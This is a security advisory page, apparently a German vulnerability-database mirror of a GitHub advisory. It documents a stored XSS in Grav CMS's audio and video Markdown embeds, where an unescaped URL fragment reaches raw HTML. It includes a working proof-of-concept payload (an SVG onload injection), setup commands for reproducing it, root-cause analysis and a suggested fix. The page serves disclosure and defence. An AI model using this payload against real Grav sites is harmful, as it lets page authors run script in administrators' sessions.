Mittel

Grav: Stored XSS via Markdown audio/video media <source> URL

  • Veröffentlicht: 17.09.2026
  • Aktualisiert: 11.10.2026 10:22

Target: github.com/getgrav/grav
Affected resource: Grav\Common\Media\Traits\AudioMediaTrait / VideoMediaTrait sourceParsedownElement() — verified on 2.0.13 (latest stable) and develop HEAD 5a7070f
Severity: Medium (~6.9 CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:N — anchored to the sibling script-XSS advisory CVE-2026-42841, same PR:H / S:C / C:H / I:L)
Weakness: CWE-79 (Improper Neutralization of Input During Web Page Generation)

Summary

A Markdown audio or video embed renders its <source> element as raw HTML with the media URL concatenated unescaped. The URL fragment is reflected without any encoding, so ![x](song.mp3#"><svg/onload=alert(1)>) breaks out of <source src="…"> and injects arbitrary HTML — including a script-executing <svg onload> — into the rendered page. Any user who views the page runs the attacker's JavaScript in their session; a logged-in administrator who views it exposes their same-origin Grav Admin session to the attacker's script.

This is the next sink in the media-parameter injection class the maintainer has been closing: GHSA-r7fx-8g49-7hhr (attribute()), GHSA-pmf8-g7c8-7v54 / CVE-2026-55890 (style(), 2.0.0-rc.9), and GHSA-ffmg-hfvg-jhg9 (resize(), 2.0.0-rc.10). All three guarded image style/attribute sinks; the aba291a5 audit scoped itself to "sinks reaching the style attribute" and did not cover the audio/video <source> rawHtml sink, which reaches full script execution rather than CSS injection.

Root Cause

The audio/video player builds its inner source as Parsedown rawHtml (emitted verbatim, unescaped), concatenating the media URL directly into a double-quoted attribute — AudioMediaTrait.php L43-52 (identical in VideoMediaTrait.php L58-67):

php
protected function sourceParsedownElement(array $attributes, $reset = true)
{
    $location = $this->url($reset);
    return [
        'name' => 'audio',
        'rawHtml' => '<source src="' . $location . '">Your browser does not support the audio tag.',
        'attributes' => $attributes
    ];
}

$location includes the URL fragment, which is stored with no encoding — MediaObjectTrait::urlHash() L240-249 only strips a leading #. Before that, the excerpt handler decodes the media URL with htmlspecialchars_decode(urldecode(...)), undoing Parsedown's escaping — Excerpts.php L188 — and routes the fragment to urlHash() at Excerpts.php L321-323. So ", <, >, =, (, ) in the fragment survive into the raw <source>.

Two defenses that stop the querystring path do not cover the fragment:

  • The GFM tagfilter — ParsedownGravTrait::filterDisallowedRawHtml() L528-535 — escapes < only for title|textarea|style|xmp|iframe|noembed|noframes|script|plaintext. <svg> and <img> are not on the list, so they inject as live markup.
  • The __call querystring passthrough rawurlencodes its values, but the fragment never passes through it, so event-handler values (onload=alert(1)) keep their = ( ) and execute.

The image render path is unaffected — an image's src goes into an htmlspecialchars-escaped attribute, not rawHtml.

Steps to Reproduce

Prerequisites

  • PHP >= 8.0 with the built-in web server (verified on 8.5)
  • curl
  • unzip

Step 1: Download Grav 2.0.13 (latest stable, self-contained core)

bash
mkdir -p /tmp/grav-xss && cd /tmp/grav-xss
curl -L -o grav.zip https://github.com/getgrav/grav/releases/download/2.0.13/grav-v2.0.13.zip
unzip grav.zip

Step 2: Create a page with an audio file and a malicious Markdown embed

bash
cd /tmp/grav-xss/grav
mkdir -p user/pages/03.poc
printf 'ID3fakeaudio' > user/pages/03.poc/sound.mp3
cat > user/pages/03.poc/default.md <<'MD'
---
title: XSS PoC
---
![sound](sound.mp3#"><svg/onload=alert(1)>)
MD

Step 3: Start Grav

bash
php -S 127.0.0.1:8390 -t /tmp/grav-xss/grav /tmp/grav-xss/grav/system/router.php

Leave this running and open a new terminal for the next step.

Step 4: Fetch the rendered page and show the un-escaped injection

bash
for i in $(seq 1 60); do (exec 3<>/dev/tcp/127.0.0.1/8390) 2>/dev/null && { exec 3>&-; break; }; sleep 1; done
curl http://127.0.0.1:8390/poc | grep -o '<audio.*</audio>'

Expected output:

<audio controls="controls" alt="sound"><source src="/user/pages/03.poc/sound.mp3?loading=auto&decoding=auto&fetchpriority=auto#"><svg/onload=alert(1)>">Your browser does not support the audio tag.</audio>

The <source src="…#"> is closed by the injected " and >, and <svg/onload=alert(1)> follows as live markup. Open http://127.0.0.1:8390/poc in a browser: the SVG's onload fires and executes alert(1) (screenshot: a document.body.innerHTML='XSS_…' variant rewriting the page). Video reproduces identically with an .mp4 file and the same fragment.

Suggested Fix

Escape $location with htmlspecialchars() before concatenating it into the <source src="…"> rawHtml in AudioMediaTrait::sourceParsedownElement() and VideoMediaTrait::sourceParsedownElement() (and any other rawHtml media sink), or build the <source> through Parsedown's escaped-attribute mechanism instead of a raw string. The URL fragment in MediaObjectTrait::urlHash() should also be encoded rather than passed through verbatim.

Cleanup

bash
kill %1 2>/dev/null
rm -rf /tmp/grav-xss

Impact

Arbitrary JavaScript executes with no interaction in the session of any user who views a page that embeds a crafted audio/video file. The attacker is a page-content author (a Grav back-end user with page-edit rights, below super-admin); the injected <svg onload> runs in the viewer's origin — a published-page visitor (confirmed at runtime), or a logged-in administrator who views the page, whose same-origin Grav Admin session the script can then ride. This is a no-interaction sink: Grav's body renderer already passes interaction-based <a href="javascript:"> / <form action="javascript:"> raw but escapes auto-firing <img onerror> / <svg onload> on block tags — the audio/video <source> rawHtml path is the reliable auto-firing primitive that the three prior fixes (which constrained this same author→viewer boundary to safe CSS) left open.

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Composer-Paket getgrav/grav < 2.0.15 2.0.15

Verweise

CVSS-Wert 7.6/10
CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N
Schwäche (CWE)
CWE-79
Plattform
Composer
Paket
getgrav/grav
Veröffentlicht
17.09.2026
Aktualisiert
11.10.2026 10:22

Quellen und Lizenzen

OSV / GitHub Advisory Database - GHSA-6qw9-4vv5-jr97 - CC BY 4.0

Schwachstellenhistorie: getgrav/grav

Alle veröffentlichten Schwachstellen dieses Pakets (Composer-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (99) im Archiv
Einträge insgesamt
99
Erste → letzte
11.2019 09.2026
Ohne Fix
6
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Kritisch 7
  • Hoch 47
  • Mittel 41
  • Niedrig 4

Veröffentlichungen pro Jahr

  1. 2019: 1
  2. 2020: 1
  3. 2021: 4
  4. 2022: 10
  5. 2023: 5
  6. 2024: 8
  7. 2025: 23
  8. 2026: 47
Schweregrad:
  1. Hoch · 8.8 CVE-2026-72819 < 2.0.13 2.0.13
  2. Grav: Stored XSS via Markdown audio/video media <source> URL dieser Eintrag
    Mittel · 7.6 CVE-2026-75831 < 2.0.15 2.0.15
  3. Hoch CVE-2026-53653 >= 2.0.0-beta.1, < 2.0.0-rc.8, < 1.7.53 2.0.0-rc.8, 1.7.53
  4. Hoch · 8.9 CVE-2026-42611 < 2.0.0-beta.2 2.0.0-beta.2
  5. Hoch · 8.5 CVE-2026-42612 < 2.0.0-beta.2 2.0.0-beta.2
  6. Kritisch · 9.4 CVE-2026-42613 < 2.0.0-beta.2 2.0.0-beta.2
  7. Kritisch · 9.1 CVE-2025-66844 <= 1.7.49.5 keine Korrektur
  8. Hoch CVE-2025-66298 < 1.8.0-beta.27 1.8.0-beta.27
  9. Hoch CVE-2025-66294 < 1.8.0-beta.27 1.8.0-beta.27
  10. Hoch · 8.5 CVE-2025-66300 < 1.8.0-beta.27 1.8.0-beta.27
  11. Hoch · 8.8 CVE-2025-66299 < 1.8.0-beta.27 1.8.0-beta.27
  12. Hoch · 8.5 CVE-2024-34082 < 1.7.46 1.7.46
  13. Hoch · 8.8 CVE-2024-28119 < 1.7.45 1.7.45
  14. Hoch · 8.8 CVE-2024-28118 < 1.7.45 1.7.45
Mehr anzeigen (15) 40 von 55 angezeigt

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.